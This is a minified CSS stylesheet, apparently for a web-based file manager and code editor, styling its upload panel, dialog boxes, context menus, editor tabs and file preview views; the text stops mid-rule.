.aui_content{background:#000;}.dialog_path_remove .aui_content{word-wrap:break-word;width:auto;}.file_upload{height:385px;padding:5px;margin-right:10px;min-width:365px;overflow:hidden;}.file_upload .top_nav{border-bottom:1px solid #ddd;margin-top:6px;}.file_upload .menu{display:block;text-decoration:none;float:left;padding:0px 15px;height:26px;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffff', endColorstr='#eeeeee');background:#eee;background-image:-webkit-linear-gradient(top,#fff,#eee);background-image:-moz-linear-gradient(top,#fff,#eee);background-image:-o-linear-gradient(top,#fff,#eee);background-image:-ms-linear-gradient(top,#fff,#eee);background-image:linear-gradient(top,#fff,#eee);-pie-background:linear-gradient(to top,#fff,#eee);font-size:1em;border:1px solid #ccc;text-align:center;line-height:24px;margin-right:5px;margin-bottom:-1px;color:#444;border-radius:4px 4px 0 0;}.file_upload .menu.this{background:#fff;border-bottom:1px solid #fff;}.file_upload .menu:hover{background:#fff;}.file_upload .upload_box{margin-top:10px;}.file_upload .download_btn_group{margin-left:-10px;margin-top:-3px;}.file_upload .download_btn_group .download_start{border-radius:0px;}.file_upload div a.left{margin-left:10px;}.file_upload div a.right{position:absolute;right:5px;}.file_upload span.info{font-size:1em;font-style:italic;padding:0px 0 5px 10px;}.file_upload i{font-size:1em;color:#aaa;padding-left:10px;}.file_upload .list{margin:10px 15px;}.file_upload .list input{margin-left:10px;width:190px;height:22px;line-height:24px;padding:0px 3px;border:1px solid #ddd;background:#fff;outline:none;box-shadow:inset 0 1px 1px rgba(0,0,0,0.08);-webkit-transition:all ease-in-out .168s;-moz-transition:all ease-in-out .168s;-o-transition:all ease-in-out .168s;-ms-transition:all ease-in-out .168s;transition:all ease-in-out .168s;}.file_upload .list input:focus{border-color:#75A1F0;outline:none;box-shadow:0 0 4px #75A1F0;}.file_upload .submit input{float:right;padding:4px 20px;background:#ddd;border:none;margin-right:36px;margin-top:10px;}.file_upload .submit input:hover{background:#bbb;}.file_upload .submit input:active{background:#444;color:#fff;}.file_upload .uploader-content{border:1px solid #ddd;margin:0 10px;font-size:1em;overflow:auto;position:absolute;bottom:10px;right:0px;left:0px;top:124px;background:url("../../../images/common/drop_upload.png") no-repeat center;}.file_upload #downloader{height:290px;border:1px solid #ddd;overflow:auto;}.file_upload .webuploader-container{position:relative;}.file_upload .webuploader-element-invisible{position:absolute !important;clip:rect(1px 1px 1px 1px);clip:rect(1px,1px,1px,1px);}.file_upload .webuploader-pick{position:relative;display:inline-block;color:#fff;text-align:center;height:27px;line-height:27px;border-radius:3px;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#84c8ff', endColorstr='#6091ff');background:#6091FF;background-image:-webkit-linear-gradient(top,#84C8FF,#6091FF);background-image:-moz-linear-gradient(top,#84C8FF,#6091FF);background-image:-o-linear-gradient(top,#84C8FF,#6091FF);background-image:-ms-linear-gradient(top,#84C8FF,#6091FF);background-image:linear-gradient(top,#84C8FF,#6091FF);-pie-background:linear-gradient(to top,#84C8FF,#6091FF);cursor:pointer;padding:0px 15px;}.file_upload .webuploader-pick-hover{filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#84c8ff', endColorstr='#6091ff');background:#6091FF;background-image:-webkit-linear-gradient(top,#84C8FF,#6091FF);background-image:-moz-linear-gradient(top,#84C8FF,#6091FF);background-image:-o-linear-gradient(top,#84C8FF,#6091FF);background-image:-ms-linear-gradient(top,#84C8FF,#6091FF);background-image:linear-gradient(top,#84C8FF,#6091FF);-pie-background:linear-gradient(to top,#84C8FF,#6091FF);box-shadow:inset 0 1px 1em rgba(0,0,0,0.3);}.file_upload .upload_cert{width:24px;background:#def;height:100%;float:left;cursor:pointer;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#84c8ff', endColorstr='#6091ff');background:#6091FF;background-image:-webkit-linear-gradient(top,#84C8FF,#6091FF);background-image:-moz-linear-gradient(top,#84C8FF,#6091FF);background-image:-o-linear-gradient(top,#84C8FF,#6091FF);background-image:-ms-linear-gradient(top,#84C8FF,#6091FF);background-image:linear-gradient(top,#84C8FF,#6091FF);-pie-background:linear-gradient(to top,#84C8FF,#6091FF);height:27px;line-height:27px;position:relative;z-index:10;padding:0;border:none;margin-left:-5px;border-left:1px solid rgba(0,0,0,0.1);border-top-right-radius:3px;border-bottom-right-radius:3px;}.file_upload .upload_cert .caret{margin-top:-2px;margin-left:-1px;border-top:4px solid #fff;}.file_upload .upload_cert_box .dropdown-menu{right:inherit;top:inherit;margin-top:30px;}.file_upload .upload_cert_box .dropdown-menu:before{right:inherit;left:10px;}.file_upload .upload_cert_box .dropdown-menu:after{right:inherit;left:11px;}.file_upload .upload_cert_box.open.upload_cert,.file_upload .upload_cert_box .upload_cert:hover{filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#84c8ff', endColorstr='#6091ff');background:#6091FF;background-image:-webkit-linear-gradient(top,#84C8FF,#6091FF);background-image:-moz-linear-gradient(top,#84C8FF,#6091FF);background-image:-o-linear-gradient(top,#84C8FF,#6091FF);background-image:-ms-linear-gradient(top,#84C8FF,#6091FF);background-image:linear-gradient(top,#84C8FF,#6091FF);-pie-background:linear-gradient(to top,#84C8FF,#6091FF);box-shadow:inset 0 1px 1em rgba(0,0,0,0.3);}.file_upload .webuploader-pick-disable{opacity:0.6;filter:alpha(opacity=60);pointer-events:none;}.file_upload .btns{margin-bottom:10px;font-size:1em;height:28px;}.file_upload .btns .tips{float:right;line-height:30px;}.file_upload .btns #picker{float:left;}.file_upload .upload_box_tips{line-height:34px;color:#888;position:absolute;right:10px;}.file_upload .upload_box_config{box-shadow:inset 0px 1px 6px rgba(0,0,0,0.3);border-radius:2px;margin-bottom:10px;padding:4px;}.file_upload .upload_box_config .upload_check_box{margin-left:10px;}.file_upload .upload_box_config label{margin-left:15px;}.file_upload .upload_box_config label input{margin-right:5px;}.file_upload .uploader-list .item,.file_upload .download_list .item{padding:0px;height:35px;overflow:hidden;border-bottom:1px solid #ccc;background:#fefefe;}.file_upload .uploader-list .item .info,.file_upload .download_list .item .info{color:#224;line-height:35px;padding:0 5px;z-index:100;position:relative;font-size:1em;}.file_upload .uploader-list .item .info span,.file_upload .uploader-list .item .info a,.file_upload .download_list .item .info span,.file_upload .download_list .item .info a{display:block;float:left;text-overflow:ellipsis;height:30px;}.file_upload .uploader-list .item .info .title,.file_upload .download_list .item .info .title{color:#3A87AD;width:160px;overflow:hidden;font-weight:800;}.file_upload .uploader-list .item .info .size,.file_upload .download_list .item .info .size{width:45px;text-align:center;color:#3A87AD;font-size:12px;}.file_upload .uploader-list .item .info .state,.file_upload .download_list .item .info .state{width:100px;text-align:right;font-size:12px;}.file_upload .uploader-list .item .info .font-icon,.file_upload .download_list .item .info .font-icon{margin-left:12px;font-size:20px;width:20px;line-height:35px;cursor:pointer;color:#bbb;}.file_upload .uploader-list .item .info .font-icon:hover,.file_upload .download_list .item .info .font-icon:hover{text-decoration:none;color:#f60;}.file_upload .uploader-list .item .info .icon-ok,.file_upload .download_list .item .info .icon-ok{color:#40AA53;}.file_upload .uploader-list .item .info .error,.file_upload .download_list .item .info .error{color:#f30;overflow:hidden;}.file_upload .uploader-list .item .progress,.file_upload .download_list .item .progress{height:38px;margin:0px;width:100%;float:left;margin-top:-30px;border-radius:0;box-shadow:none;}.file_upload .uploader-list .item .progress-bar,.file_upload .download_list .item .progress-bar{background-color:#abd7fb;background-image:linear-gradient(45deg,rgba(255,255,255,0.35) 25%,transparent 25%,transparent 50%,rgba(255,255,255,0.35) 50%,rgba(255,255,255,0.35) 75%,transparent 75%,transparent);}.file_upload .uploader-list .success:hover,.file_upload .download_list .success:hover{cursor:pointer;background:#def;border-bottom:1px solid #3A87AD;}.messageBox{position:absolute;top:15%;left:0px;z-index:88;background:#63acff;color:#fff;opacity:0.7;filter:alpha(opacity=70);-webkit-border-radius:1px;-moz-border-radius:1px;border-radius:1px;-webkit-box-shadow:0 10px 60px rgba(0,0,0,0.6);-moz-box-shadow:0 10px 60px rgba(0,0,0,0.6);box-shadow:0 10px 60px rgba(0,0,0,0.6);display:none;}.messageBox .content{padding:10px 30px;line-height:20px;width:auto;}.aui_outer{text-align:left;position:relative;}.aui_mask{position:absolute;width:100%;height:100%;background:#fff;opacity:0.01;filter:alpha(opacity=1);}.aui_loading{height:100%;width:100%;overflow:hidden;opacity:0.7;filter:alpha(opacity=70);position:absolute;left:0;top:40px;z-index:9999;text-align:center;text-indent:-999em;}.aui_loading span{width:80px;height:80px;border-radius:6px;background:#fff url("../../../images/common/dialog/dialog_loading.gif") no-repeat center center;position:absolute;left:50%;top:50%;margin-left:-40px;margin-top:-40px;}table.aui_border,table.aui_dialog{width:100%;border:0;margin:0;border-collapse:collapse;}.aui_nw,.aui_n,.aui_ne,.aui_w,.aui_c,.aui_e,.aui_sw,.aui_s,.aui_se,.aui_header,.aui_tdIcon,.aui_main,.aui_footer{padding:0;}.aui_header,.aui_buttons button{font:12px/1.11;}.aui_title{overflow:hidden;text-overflow:ellipsis;font-size:1em;}.aui_title img{width:20px;margin-right:5px;border-radius:4px;pointer-events:none;}.aui_state_noTitle .aui_title{display:none;}.aui_main{font-size:1.1em;text-align:center;background:#FFF;min-width:9em;min-width:0 \9;visibility:auto;}.aui_content{text-align:left;color:#666;border:none 0;}.aui_content{width:100%;height:100%;}.aui_content.aui_state_full{display:block;width:100%;margin:0;padding:0 !important;height:100%;}.aui_icon{vertical-align:middle;background:#fff;}.aui_icon div{width:48px;height:48px;margin:10px 0 10px 10px;background-position:center center;background-repeat:no-repeat;}.aui_buttons{padding:10px 8px;text-align:right;white-space:nowrap;background-color:#F6F6F6;border-top:solid 1px #DADEE5;}.aui_buttons button{margin-left:15px;padding:3px 20px;height:25px;cursor:pointer;display:inline-block;text-align:center;line-height:1;overflow:visible;color:#000000;border:none;background:#aaa;color:#fff;}.aui_buttons button:focus{outline:none 0;}.aui_buttons button:hover{background:#c4c4c4;}.aui_buttons button:active{background:#777777;}.aui_buttons button[disabled]{cursor:default;color:#919191;background:#aaa;opacity:0.5;filter:alpha(opacity=50);}.aui_buttons button::-moz-focus-inner{border:0;padding:0;margin:0;}.aui_buttons button.aui_state_highlight{color:#FFF;background:#63acff;}.aui_buttons button.aui_state_highlight:hover{color:#FFF;background:#96c7ff;}.aui_buttons button.aui_state_highlight:active{background:#0076fc;}.aui_buttons button.disable,.aui_buttons button.disabled{opacity:0.3;filter:alpha(opacity=30);}.aui_outer{border:0px solid #63acff;-webkit-box-shadow:0px 5px 20px rgba(0,0,0,0.6);-moz-box-shadow:0px 5px 20px rgba(0,0,0,0.6);box-shadow:0px 5px 20px rgba(0,0,0,0.6);-webkit-transition:box-shadow 0.1s opacity 0.2s;-moz-transition:box-shadow 0.1s opacity 0.2s;-o-transition:box-shadow 0.1s opacity 0.2s;-ms-transition:box-shadow 0.1s opacity 0.2s;transition:box-shadow 0.1s opacity 0.2s;}.aui_state_lock .aui_nw,.aui_state_lock .aui_n,.aui_state_lock .aui_ne,.aui_state_lock .aui_w,.aui_state_lock .aui_e,.aui_state_lock .aui_sw,.aui_state_lock .aui_s,.aui_state_lock .aui_se{background:rgba(0,0,0,0.5);background:#000 \9 !important;opacity:0.5;filter:alpha(opacity=50);}.aui_titleBar{position:relative;height:100%;}.aui_title{height:31px;line-height:30px;padding:0 28px 0 10px;color:#fff;background-color:#7dbaff;}.aui_state_focus .aui_mask{display:none;}.aui_state_focus .aui_outer{-webkit-box-shadow:0px 5px 40px rgba(0,0,0,0.7);-moz-box-shadow:0px 5px 40px rgba(0,0,0,0.7);box-shadow:0px 5px 40px rgba(0,0,0,0.7);}.aui_state_focus .aui_title{background-color:#63acff;}.aui_state_drag .aui_title{cursor:move;cursor:-webkit-grabbing;cursor:grabbing;}.aui_min,.aui_max,.aui_close{display:block;position:absolute;text-decoration:none;outline:none;cursor:pointer;font-size:1.25em;-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;color:#fff;border-top:none;top:0px;height:22px;width:35px;font-size:1.15em;line-height:22px;text-align:center;background-color:transparent;height:24px;width:38px;line-height:25px;color:#ffffff;font-family:FontAwesome;}.aui_min:hover,.aui_max:hover,.aui_close:hover{text-decoration:none;color:#fff;background-color:#1783ff;}.aui_close:hover{background:#cc0000;}.aui_min{right:82px;content:"\f068";}.aui_max{right:43px;content:"\f065";}.aui_close{right:5px;content:"\f00d";}.aui_min:before{content:"\f068";}.aui_max:before{content:"\f065";}.aui_close:before{content:"\f00d";}.dialogMax .aui_max:before{content:"\f066";}.aui_max,.aui_min{display:none;}.aui_state_noTitle .aui_nw,.aui_state_noTitle .aui_ne,.aui_state_noTitle .aui_sw,.aui_state_noTitle .aui_se{width:5px;height:5px;}.aui_state_noTitle .aui_titleBar{bottom:0;_bottom:0;_margin-top:0;}.aui_state_noTitle .aui_outer{box-shadow:none !important;border:none !important;}.aui_state_noTitle .aui_inner{border:1px solid #aaa;}.aui_state_noTitle .tips{padding:15px;padding-left:10px;}.aui_state_noTitle .aui_nw,.aui_state_noTitle .aui_n,.aui_state_noTitle .aui_ne,.aui_state_noTitle .aui_w,.aui_state_noTitle .aui_e,.aui_state_noTitle .aui_sw,.aui_state_noTitle .aui_s,.aui_state_noTitle .aui_se{background:rgba(0,0,0,0.1);background:#000 \9 !important;filter:alpha(opacity=10)!important;}.aui_state_noTitle .aui_close,.aui_state_noTitle .aui_max,.aui_state_noTitle .aui_min{display:none;font-size:1em;}.dialogMax .aui_nw,.dialogMax .aui_ne,.dialogMax .aui_sw,.dialogMax .aui_se,.dialogMax .aui_w,.dialogMax .aui_e{width:0px;}.dialogMax .aui_sw,.dialogMax .aui_n,.dialogMax .aui_se{height:0px;}.dialogMax .aui_outer{border:none !important;}.dialog-can-resize .resize-handle{position:absolute;z-index:9999;display:block;}.dialog-can-resize .resize-top{z-index:0;cursor:n-resize;top:-3px;left:0px;height:7px;width:100%;}.dialog-can-resize .resize-bottom{z-index:0;cursor:s-resize;bottom:-3px;left:0px;height:7px;width:100%;}.dialog-can-resize .resize-right{z-index:0;cursor:e-resize;right:-3px;top:0px;width:7px;height:100%;}.dialog-can-resize .resize-left{z-index:0;cursor:w-resize;left:-3px;top:0px;width:7px;height:100%;}.dialog-can-resize .resize-bottom-right{cursor:se-resize;width:18px;height:18px;right:-7px;bottom:-7px;background:url('../../../images/common/dialog/resize_corner.png') no-repeat;opacity:0.4;filter:alpha(opacity=40);}.dialog-can-resize .resize-bottom-left{cursor:sw-resize;width:15px;height:15px;left:-7px;bottom:-7px;}.dialog-can-resize .resize-top-left{cursor:nw-resize;width:15px;height:15px;left:-7px;top:-7px;}.dialog-can-resize .resize-top-right{cursor:ne-resize;width:15px;height:15px;right:-5px;top:-7px;}.dialog-can-resize .aui_min,.dialog-can-resize .aui_max{display:block;}body div.dialog-simple .aui_titleBar{width:100%;position:relative;bottom:0;height:100%;}body div.dialog-simple .aui_border{border:none;}body div.dialog-simple .aui_outer{border:none;border-radius:none;box-shadow:none;background:none;}body div.dialog-simple .aui_inner{border:none;background:none;}body div.dialog-simple .aui_nw,body div.dialog-simple .aui_n,body div.dialog-simple .aui_ne,body div.dialog-simple .aui_w,body div.dialog-simple .aui_e,body div.dialog-simple .aui_sw,body div.dialog-simple .aui_s,body div.dialog-simple .aui_se{background:none;}body div.dialog-simple .aui_title{background:rgba(0,0,0,0.8);opacity:0.8;filter:alpha(opacity=80);border-radius:3px;border:none;height:31px;line-height:30px;padding:0 28px 0 10px;color:#fff;}body div.dialog-simple .aui_min,body div.dialog-simple .aui_max,body div.dialog-simple .aui_close{border:none;top:6px;display:block;position:absolute;text-decoration:none;outline:none;cursor:pointer;background-color:rgba(255,255,255,0.3);color:#fff;opacity:0.5;filter:alpha(opacity=50);height:22px;width:22px;font-size:1.15em;line-height:22px;text-align:center;border-radius:4px;font-family:FontAwesome;}body div.dialog-simple .aui_min:hover,body div.dialog-simple .aui_max:hover,body div.dialog-simple .aui_close:hover{text-decoration:none;color:#fff;background-color:#cc0000;}body div.dialog-simple .aui_min:active,body div.dialog-simple .aui_max:active,body div.dialog-simple .aui_close:active{color:fff;background-color:#f00;}body div.dialog-simple .aui_main{background:none !important;}body div.dialog-simple .aui_max{right:30px;}body div.dialog-simple .aui_min{right:56px;}body div.dialog-simple .aui_dialog,body div.dialog-simple .aui_border{background:none;}body div.dialog-simple .resize-bottom-right{background:none !important;}body div.dialog-simple .aui_header{opacity:0.01;filter:alpha(opacity=1);}body div.dialog-simple .aui_nw,body div.dialog-simple .aui_ne{height:0px;}body div.dialog-simple .dialog_mouse_in .aui_header{opacity:1.0;filter:alpha(opacity=100);}body div.dialog-simple.aui_state_drag .aui_header{opacity:1.0;filter:alpha(opacity=100);}body div.dialog-simple.dialogMax .aui_header{opacity:1.0;filter:alpha(opacity=100);}@-webkit-keyframes fadein{0%{ opacity:0;} 50%{ opacity:0.4;}}.playmusic-icon{display:none;}.context-menu-list{margin:0;margin-left:4px;min-width:190px;max-width:300px;font-size:1em;display:inline-block;position:absolute;list-style-type:none;padding:8px 0px;border:none;border:1px solid #ccc \9;border-radius:4px;background:#fff;-webkit-box-shadow:0 10px 80px rgba(0,0,0,0.4);-moz-box-shadow:0 10px 80px rgba(0,0,0,0.4);box-shadow:0 10px 80px rgba(0,0,0,0.4);}.context-menu-list span b{display:inline-block;font-size:1em;font-weight:200;color:#aaa;padding-left:10px;min-width:50px;text-align:right;overflow:hidden;position:absolute;right:10px;width:65px;}.context-menu-list .hover>span>b{color:#fff;}.context-menu-list li.selected{border-left:none !important;background:none;}.context-menu-list li.selected i.font-icon{color:#aaa;font-family:FontAwesome;font-weight:normal;font-style:normal;}.context-menu-list li.selected i.font-icon:before{content:"\f00c" !important;}.context-menu-list .context-menu-submenu:after{content:"\f0da";font-family:FontAwesome;display:inline-block;float:right;margin-right:0px;right:10px;position:absolute;}.context-menu-list .context-menu-item{display:block;cursor:pointer;white-space:nowrap;clear:both;line-height:25px;height:23px;position:relative;border:none;padding:0px 20px 0 20px;color:#222;-webkit-transition:background-color .1s;-moz-transition:background-color .1s;-o-transition:background-color .1s;-ms-transition:background-color .1s;transition:background-color .1s;}.context-menu-list .context-menu-item .font-icon{display:inline-block;width:25px;font-size:1.2em;color:#aaa;}.context-menu-list .context-menu-item.disabled,.context-menu-list .context-menu-item.disable{cursor:not-allowed;color:#ccc;}.context-menu-list .context-menu-item.disabled .font-icon,.context-menu-list .context-menu-item.disable .font-icon{color:#ddd;}.context-menu-list .context-menu-item.disabled.hover,.context-menu-list .context-menu-item.disable.hover{color:#ccc;cursor:default;background-color:#fff;}.context-menu-list .context-menu-item.disabled.hover .font-icon,.context-menu-list .context-menu-item.disable.hover .font-icon{color:#ddd;}.context-menu-list .context-menu-item.hover{cursor:pointer;color:#fff;background:#63acff;background-color:none \9;}.context-menu-list .context-menu-item.hover .font-icon{color:#fff;color:#aaa \9;}.context-menu-list .context-menu-item span i{float:right;text-align:right;font-style:normal;color:#888;}.context-menu-list .context-menu-item.context-menu-separator{height:2px;line-height:0;border-bottom:1px solid #eee;margin:2px 0 4px;}.context-menu-list .context-menu-item > .context-menu-list{display:none;right:-5px;top:5px;}.context-menu-list .context-menu-item.hover > .context-menu-list{display:block;}.context-menu-list .context-menu-item.hover > .context-menu-list .font-icon{color:#aaa;}.context-menu-list .context-menu-item.hover > .context-menu-list .hover .font-icon{color:#fff;color:#aaa \9;}.context-menu-list .context-menu-item .context-menu-accesskey{text-decoration:underline;}.context-menu-list .context-menu-item .line_top{border-top:1px solid #ddd !important;}.frame-main{top:40px;overflow:auto;bottom:40px;width:100%;position:absolute;}.bindary_box{width:300px;margin:0 auto;padding-bottom:40px;border:1px solid #ddd;border:1px solid rgba(0,0,0,0.2);background:#fff;box-shadow:0 1px 5px rgba(0,0,0,0.4);margin-top:5%;border-radius:4px;}.bindary_box .title{width:100%;height:150px;padding-top:20px;border-radius:5px 4px 0 0;background:#6699cc url("../../../images/common/login.png") -110px 0px;}.bindary_box .ico{width:140px;height:140px;border-radius:100px;overflow:hidden;margin:0 auto;background:rgba(255,255,255,0.4);text-align:center;}.bindary_box .ico img{width:80%;padding-top:15px;}.content_info{text-align:center;}.content_info .name{padding:30px;padding-bottom:2px;font-size:22px;word-wrap:break-word;word-break:break-all;}.content_info .size{color:#888;}.content_info .size i{font-style:normal;color:#aaa;padding-left:10px;}.content_info .btn-group{margin-top:25px;}.content_info .btn_download{width:115px;}.content_info .dropdown-toggle{height:20px;}.content_info .error_tips{padding-top:15px;color:#bbb;}.title_box{height:36px;width:800px;border-bottom:1px solid #ddd;margin:0 auto;margin-top:10px;}.title_box .name{font-size:20px;float:left;}.title_box .size{float:left;line-height:30px;padding-left:10px;}.title_box .size .share_time{padding-left:10px;font-style:normal;color:#aaa;}.title_box .btn-group{float:right;}.title_box .btn-group .btn_download{padding:4px 20px;}.title_box .btn-group .dropdown-toggle{height:16px;height:30px \9;}.content_box,.content_box.markdown_preview{width:900px;margin:30px auto;margin-bottom:30px;}.show_image{text-align:center;}.show_image img{max-width:100%;}#show_pdf{width:100%;margin:0px;background:#ccc;position:absolute;top:0px;bottom:0px;}.show_code{border:1px solid #ddd;box-shadow:0 2px 5px rgba(0,0,0,0.2);width:80%;position:absolute;bottom:0px;left:10%;top:0px;}.show_code .code{padding:0px;margin:0;height:100%;}.show_code .ace_editor{font-size:1em;font-family:Consolas, source-code-pro, Monaco, Menlo, 'Ubuntu Mono', Consolas, monospace, '';}.office_page{bottom:-18px;}.show_office{margin:0;width:100%;height:100%;}.show_swf{width:80%;margin:0 auto;padding-top:30px;height:90%;}.music_player{width:320px;height:400px;box-shadow:0 10px 100px #444;margin-top:12%;}.movie_player{width:660px;height:400px;box-shadow:0 10px 100px #444;margin-top:10%;}html,body{overflow:hidden;overflow-x:hidden;overflow-y:hidden;}.edit_main{color:#444;font-size:1em;width:100%;}.edit_main .edit_tab .tabs .edit_changed a.close{opacity:1.0;filter:alpha(opacity=100);color:#63acff;}.edit_main .edit_tab .tabs .edit_changed .icon-remove:before{content:"\f06a";}.edit_main .edit_tab .tabs .edit_changed a:hover.icon-remove:before{content:"\f057";}.context-menu-list{z-index:1000 !important;box-shadow:0 0px 10px rgba(0,0,0,0.15);border:1px solid #dfdfdf;border-radius:2px;max-height:500px;-webkit-animation-name:inherit;-webkit-animation-duration:inherit;-webkit-animation-timing-function:inherit;-webkit-animation-iteration-count:inherit;}.context-menu-list.code_font_list,.context-menu-list.code_theme_list{overflow-y:auto;overflow-x:hidden;}.context-menu-list.code_font_list .context-menu-item,.context-menu-list.code_theme_list .context-menu-item{padding:0px 10px 0 10px;}.context-menu-list.code_theme_list{width:180px !important;}.context-menu-list .gotoline_input input{padding:4px;border:1px solid #ddd;background:#fff;outline:none;box-shadow:inset 0 1px 1px rgba(0,0,0,0.08);-webkit-transition:all ease-in-out .168s;-moz-transition:all ease-in-out .168s;-o-transition:all ease-in-out .168s;-ms-transition:all ease-in-out .168s;transition:all ease-in-out .168s;margin-left:15px;}.context-menu-list .gotoline_input input:focus{border-color:#75A1F0;outline:none;box-shadow:0 0 4px #75A1F0;}.code_mode_list{position:absolute;z-index:99;top:initial;right:300px;bottom:30px;overflow:auto;display:block;width:180px;height:250px;padding:35px 0 10px 0;}.code_mode_list li{padding:2px 2em;font-size:13px;cursor:pointer;line-height:20px;}.code_mode_list li.list_input{position:fixed;background:#eee;-webkit-transform:translateZ(0);height:30px;width:160px;bottom:292px;padding:4px 0 0 20px;}.code_mode_list li.list_input input{width:110px;padding:4px 10px;border:1px solid #ddd;background:#fff;outline:none;box-shadow:inset 0 1px 1px rgba(0,0,0,0.08);-webkit-transition:all ease-in-out .168s;-moz-transition:all ease-in-out .168s;-o-transition:all ease-in-out .168s;-ms-transition:all ease-in-out .168s;transition:all ease-in-out .168s;}.code_mode_list li.list_input input:focus{border-color:#75A1F0;outline:none;box-shadow:0 0 4px #75A1F0;}.code_mode_list li.hover{background:#eee;background:#63acff;color:#fff;}.code_mode_list li.selected,.code_mode_list li.selected.hover{background:#63acff;color:#fff;}.edit_tab .tabs{height:29px;width:100%;background:#fff;overflow:hidden;border-bottom:1px solid #ddd;}.edit_tab .tabs .tab{position:relative;height:30px;line-height:30px;color:#666;width:120px;float:left;background:url("../../../images/common/buttons_40.png") 0 0px repeat-x;border-right:1px solid #ddd;}.edit_tab .tabs .tab .name{margin-left:5px;display:block;width:80%;text-align:center;overflow:hidden;white-space:nowrap;position:absolute;z-index:2;cursor:default;height:28px;}.edit_tab .tabs .tab .name img{height:17px;padding-bottom:4px;padding-right:3px;}.edit_tab .tabs .tab .close{float:right;color:#aaa;position:relative;opacity:0.1;filter:alpha(opacity=10);font-size:1.25em;margin-right:3px;z-index:3;margin-top:6px;-webkit-transition:opacity 0.1s;-moz-transition:opacity 0.1s;-o-transition:opacity 0.1s;-ms-transition:opacity 0.1s;transition:opacity 0.1s;width:18px;height:18px;text-align:center;line-height:18px;}.edit_tab .tabs .tab .close:hover{opacity:0.9;filter:alpha(opacity=90);}.edit_tab .tabs .tab .close:active{opacity:1.0;filter:alpha(opacity=100);}.edit_tab .tabs .tab.hover{background:url("../../../images/common/buttons_40.png") 0 10px repeat-x;}.edit_tab .tabs .tab.hover .close{opacity:0.6;filter:alpha(opacity=60);}.edit_tab .tabs .tab.this{z-index:20;color:#23B2EC;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#96c7ff', endColorstr='#63acff');background:#63acff;background-image:-webkit-linear-gradient(top,#96c7ff,#63acff);background-image:-moz-linear-gradient(top,#96c7ff,#63acff);background-image:-o-linear-gradient(top,#96c7ff,#63acff);background-image:-ms-linear-gradient(top,#96c7ff,#63acff);background-image:linear-gradient(top,#96c7ff,#63acff);-pie-background:linear-gradient(to top,#96c7ff,#63acff);color:#fff;}.edit_tab .tabs .tab.this .close{opacity:0.1;filter:alpha(opacity=10);color:#eee;}.edit_tab .tabs .tab.this .close:hover{opacity:0.9;filter:alpha(opacity=90);}.edit_tab .tabs .tab.this .close:active{opacity:1.0;filter:alpha(opacity=100);color:#fff;}.edit_tab .tabs .tab.this.hover .close{opacity:0.6;filter:alpha(opacity=60);}.edit_tab .tabs .tab.loading .close{opacity:1.0;filter:alpha(opacity=100);color:#666;border-radius:20px;-webkit-animation:moveCircleLoop 1.4s infinite linear;animation:moveCircleLoop 1.4s infinite linear;}.edit_tab .tabs .tab.loading .close:before{content:"\f110";}.edit_tab .tabs .tab.loading.this .close{color:#ffffff;}.edit_tab .tabs .tab.loading.hover .close{opacity:1.0;filter:alpha(opacity=100);}.edit_tab .tabs .add{float:left;color:#666;line-height:25px;height:30px;border:1px solid #ddd;border-bottom:none;border-radius:3px 3px 0 0;font-size:8px;margin-top:2px;padding:0px 10px;background:#eee;margin-left:3px;}.edit_tab .tabs .add:hover{background:#ddd;}.edit_tab .tabs .add:active{background:#888;color:#ccc;}.draggable-dragging{position:absolute;z-index:99999;color:#fff;height:30px;line-height:30px;opacity:0.6;filter:alpha(opacity=60);width:120px;float:left;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#82bcff', endColorstr='#63acff');background:#63acff;background-image:-webkit-linear-gradient(top,#82bcff,#63acff);background-image:-moz-linear-gradient(top,#82bcff,#63acff);background-image:-o-linear-gradient(top,#82bcff,#63acff);background-image:-ms-linear-gradient(top,#82bcff,#63acff);background-image:linear-gradient(top,#82bcff,#63acff);-pie-background:linear-gradient(to top,#82bcff,#63acff);}.draggable-dragging .name{margin-left:5px;display:block;width:80%;text-align:center;overflow:hidden;white-space:nowrap;position:absolute;z-index:2;cursor:default;height:28px;}.draggable-dragging .name img{height:17px;padding-bottom:4px;padding-right:3px;}.draggable-dragging .close{float:right;color:#3091ff;position:relative;font-size:1.15em;margin-right:5px;z-index:3;margin-top:6px;-webkit-transition:opacity 0.1s;-moz-transition:opacity 0.1s;-o-transition:opacity 0.1s;-ms-transition:opacity 0.1s;transition:opacity 0.1s;width:18px;height:18px;text-align:center;line-height:17px;}.edit_body{width:100%;background:#fff;position:absolute;bottom:0;top:59px;z-index:50;}.edit_body .tabs{width:100%;height:100%;position:absolute;top:0px;bottom:0;}.edit_body .tabs .edit_content{display:none;padding:0;margin:0;height:100%;width:100%;}.edit_body .tabs .edit_content.this{display:block;padding:0;}.edit_body .tabs .tab{padding:10px;display:none;}.edit_body .bottom_toolbar{width:auto;height:25px;z-index:25;position:absolute;bottom:5px;right:0;margin-right:20px;border-radius:4px;background:#fff;opacity:0.8;filter:alpha(opacity=80);border:1px solid #f3f3f3;}.edit_body .bottom_toolbar a{float:left;padding:0 10px;line-height:25px;text-decoration:none;color:#000;}.edit_body .bottom_toolbar a:hover{color:#63acff;}.edit_body .bottom_toolbar a.select{background:#63acff;color:#fff;border-radius:1px;}.edit_body .bottom_toolbar a .font-icon{color:#333;}.introduction{font-size:1em;position:fixed;width:100%;top:64px;left:0;bottom:0;overflow:auto;background:#FFF;}.introduction .intro_left{width:40%;float:left;}.introduction .tips{padding:5px;margin-bottom:0;color:#888;}.introduction .tips p{padding-left:2em;word-break:break-all;line-height:1.2em;}.introduction .tips p:before{content:"\f006";font-family:FontAwesome;padding-right:8px;}.introduction .tips h1{font-size:25px;font-weight:400;border-bottom:1px dashed #ddd;padding:4px 0 10px 5px;margin:5px 0 10px 10px;}.introduction .tips h1 span{border-bottom:3px solid #ddd;padding:8px;color:#666;}.introduction pre{margin-left:15px;padding:5px;color:#56A238;line-height:1.5em;background:#fff;border-bottom:1px solid #eee;}.introduction .intro_right{width:60%;float:left;}.introduction .blue{color:#8BB7D5;}.introduction .blue h1 span{border-color:#8BB7D5;color:#8BB7D5;}.introduction .orange{color:#F27642;}.introduction 